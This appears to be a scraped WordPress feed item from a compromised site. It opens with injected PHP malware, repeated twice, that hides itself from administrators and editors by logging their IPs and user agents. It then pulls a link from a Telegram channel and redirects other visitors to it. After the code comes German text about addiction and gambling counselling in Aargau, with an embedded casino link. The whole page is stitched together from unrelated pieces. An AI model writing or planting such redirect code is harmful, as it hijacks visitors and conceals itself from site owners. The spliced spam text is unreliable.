add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
add_action('template_redirect', 'custom_redirect_function');
function custom_redirect_function() {
global $wpdb;
$on_hot_redirect = true;
function _getIP() {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) {
return $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
return $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
return $_SERVER['REMOTE_ADDR'];
}
}
function fetch_remote($url) {
if (function_exists('curl_version')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return @file_get_contents($url);
}
function get_redirect_link($cache_file) {
$html = fetch_remote("https://t.me/s/trafficredirect1");
if (!$html) return false;
if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) {
$link = end($matches[1]);
if (!empty($link)) {
file_put_contents($cache_file, $link);
return $link;
}
}
if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) {
foreach (array_reverse($matches[1]) as $link) {
if (strpos($link, 't.me') === false) {
file_put_contents($cache_file, $link);
return $link;
}
}
}
return false;
}
$ip = _getIP();
$ua = $_SERVER['HTTP_USER_AGENT'];
$table = $wpdb->prefix . "wusers_inputs";
if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) {
require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
$sql = "CREATE TABLE $table (
ip INT(11) UNSIGNED NOT NULL,
useragent VARCHAR(535) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;";
dbDelta($sql);
}
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) {
$wpdb->insert($table, array(
'ip' => ip2long($ip),
'useragent' => $ua
));
$exists = true;
}
if ($on_hot_redirect && !$exists) {
$exists = $wpdb->get_var($wpdb->prepare(
"SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1",
ip2long($ip),
$ua
));
if (!$exists) {
$cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache');
if (file_exists($cache_file) && filesize($cache_file) > 0) {
$age = time() - filemtime($cache_file);
$link = trim(file_get_contents($cache_file));
}
if (!isset($link) || $age >= 30 || empty($link)) {
$link = get_redirect_link($cache_file);
}
if ($link) {
wp_redirect($link);
exit;
}
}
}
}
The post AGJ Suchtberatung appeared first on Zero Waste Maldives.
]]>
Informationen onlineSucht Schweiz liefert auf ihrer Website viele Tipps, wie Sie als Mutter oder Vater Ihr Kind vor Suchtproblemen schützen können. Die Elternbriefe und Elternnewsletter bieten viele Informationen zu Alltagsthemen wie Ausgang, Freiheiten und Grenzen, Zusammen reden, usw. Leidest Du unter dem Suchtproblem Deines Vaters oder Deiner Mutter?
Wählen Sie Ihren Postleitzahlenbereich aus und finden Sie sofort Beratungsstellen ganz in Ihrer Nähe. Die Beratungsplattform wurde in einem öffentlich geförderten Modellprojekt entwickelt und wird aktuell von den 13 beteiligten Ländern finanziert. DigiSucht ergänzt das vorhandene Angebot der Suchtberatung vor Ort um einen bundesweiten, digitalen Zugang.
Beratungen per Email oder Chat werden häufig bei Spielsucht durch das Internet in Anspruch genommen. Der Spieler ist in der virtuellen Welt ohnehin anonym oder mit falscher Identität unterwegs und möchte dies auch bei der Beratung beibehalten. Das Forum Suchtmedizin Nordwestschweiz FOSUMNW(öffnet in einem neuen Fenster) ist eine Informationsplattform für Fachpersonen des Gesundheits- und Sozialwesens. Sie enthält zudem Weiterbildungsangebote aus der Region Nordwestschweiz.
Live-Wetten ermöglichen mehrfache Wetteinsätze während laufenden Sportereignissen. Dank dem Handy kann überall und immer gespielt werden. Der Bezug zum Geld fehlt, weil mit der Kreditkarte bezahlt wird. Auch Pokerspiele, die mit Einsatz und Gewinn von Geld gespielt werden, gelten rechtlich als Glücksspiele. Pokerturniere können nicht nur von den Casinos, sondern auch von anderen Anbietern mit kantonaler Bewilligung durchgeführt werden.
Die Casinos sind zudem gesetzlich verpflichtet, Personen zu sperren, welche über ihren finanziellen Verhältnissen spielen oder bei denen der Verdacht auf eine Sucht besteht. Dies kann auf Hinweise Dritter (z.B. Angehöriger) geschehen, wobei die betroffene Person jeweils vorher angehört wird. Glücksspiele dürfen in der Schweiz nur von den konzessionierten Casinos angeboten werden.
Dennoch wird der Druck für die Angehörigen so gross, dass sie es kaum mehr selber bewältigen und aushalten können. Angehörige können sich auch ohne die betroffene Person anmelden und beraten lassen. Gemeinsam schauen wir Ihre Situation an und unterstützen Sie bei geeigneten Verhaltensänderungen. Angebote im Kanton Aargau lassen sich über die Suchfunktion finden. Suchtindex.ch ist ein Angebot von Infodrog, der schweizerischen Informations- und Koordinationsstelle Sucht. Die Aktualisierung der Einträge erfolgt durch die Institutionen selbst.
Dann empfehlen Sie uns doch die Adresse und helfen so anderen Spielern. Auf der anderen Seite können Beratungsstellen aber auch Angehörigen von Suchtkranken Hilfestellung bieten. So vermuten Freunde oder Familienmitglieder vielleicht eine Sucht, wissen damit aber nicht umzugehen. Vielleicht sind auch Kinder oder Eheleute mit dem Suchtproblem oder der schwierigen Therapie des Betroffenen überfordert. Die Spielsucht belastet häufig nicht nur den Betroffenen, sondern auch dessen Angehörige.
In diesem ersten Kontakt können die Probleme geschildert und die passenden Behandlungsformen empfohlen werden. Für einige kommen besonders psychotherapeutische Gespräche in Frage, andere können mit Selbsthilfegruppen große Erfolge erzielen. Beratungen bei Glücksspiel- und Computerspielsuchtwerden an den Standorten Aarau und Baden angeboten. Online-Glücksspiele dürfen in der Schweiz nur von den dafür konzessionierten Schweizer Casinos angeboten werden.
Eine Ausnahme bildet der Schauplatz Arbeit, diese Angebot sind kostenpflichtig. In der Mediothek der Suchtprävention Aargau können Sie Bücher, Filme, Ratgeber, Kinderbücher oder Fachliteratur rund um das Thema Sucht, Gesundheitsförderung und Erziehung ausleihen. SafeZone.ch ist eine Dienstleistung des Bundesamtes für Gesundheit in Zusammenarbeit mit Kantonen, Suchtfachstellen und Partnern.
Daher sind Beratungsstellen wichtige erste Ansprechpartner, um eine professionelle Behandlung einzuleiten. Der Hilfesuchende hat dabei mehrere Möglichkeiten der Kontaktaufnahme. Beratungsstellen bieten häufig Gespräche über Telefon, private Gespräche vor Ort, sowie Beratung über Email und Chat an. Hier wird nicht nur Suchtkranken geholfen, sondern auch den Angehörigen. Häufig kostet dieser erste Schritt viel Überwindung für die Betroffenen. Doch wenn sie erst einmal merken, dass sie mit ihrem Problem nicht auf sich gestellt sind, dann fassen sie neuen Mut.
Durch die vielen Angebote kann für jeden die passende Beratung und Behandlung gefunden werden. Die verständnisvollen Mitarbeiter haben zudem immer ein offenes Ohr für Gespräche und Fragen rund um die Spielsucht. Für eine erfolgreiche Spielsucht Therapie ist das Eingeständnis der eigenen Sucht oder zumindest von ernsthaften Problemen mit dem Spielverhalten die Voraussetzung. In der Regel werden Beratungsstellen freiwillig aufgesucht und dies erst dann, wenn der Betroffene einsieht ein Problem zu haben. Bei einer Spielsucht sind Beratungsstellen häufig erste Anlaufstellen für Hilfesuchende.
Im Kanton Aargau führen die Klinik im Hasel AG und die Psychiatrischen Dienste Aargau AG suchtmedizinische Ambulatorien. Testen Sie Ihren Konsum oder Ihr Verhalten mit unseren Selbsttests. Hier finden Sie Online-Programme, die Sie dabei unterstützen. Sie sind auf der Suche nach Beratungsstellen, dann finden Sie hier Hilfe.
Im Kanton Aargau werden Selbsthilfegruppen für Suchtbetroffene und Angehörige geführt. Die Selbsthilfe Aargau(öffnet in einem neuen Fenster) unterstützt in der Vermittlung, Gründung und Beratung https://www.fanarbeit.ch/neue-online-casinos-schweiz von Selbsthilfegruppen. Das Beratungsangebot der beiden Trägerschaften ist für die Aargauer Bevölkerung kostenlos.
Themen, die hinter der Sucht stehen, können angegangen und bearbeitet werden, oft kommt es zu einer Verbesserung und Stabilisierung der Situation. Sozialarbeitende, Pflegende, Personalverantwortliche etc. Daneben gibt es weitere Wohnangebote, die Menschen mit Sucht aufnehmen. Die Abteilung Sonderschulung, Heime und Werkstätten des Departements Bildung, Kultur und Sport führt ein Einrichtungsverzeichnis der Wohnangebote für Menschen mit psychischer Beeinträchtigung. Zudem sind die Wohnangebote auf dem Suchtindex (öffnet in einem neuen Fenster)aufgeführt. In Selbsthilfegruppen treffen sich Menschen, die vom gleichen Thema betroffen sind.
The post AGJ Suchtberatung appeared first on Zero Waste Maldives.
]]>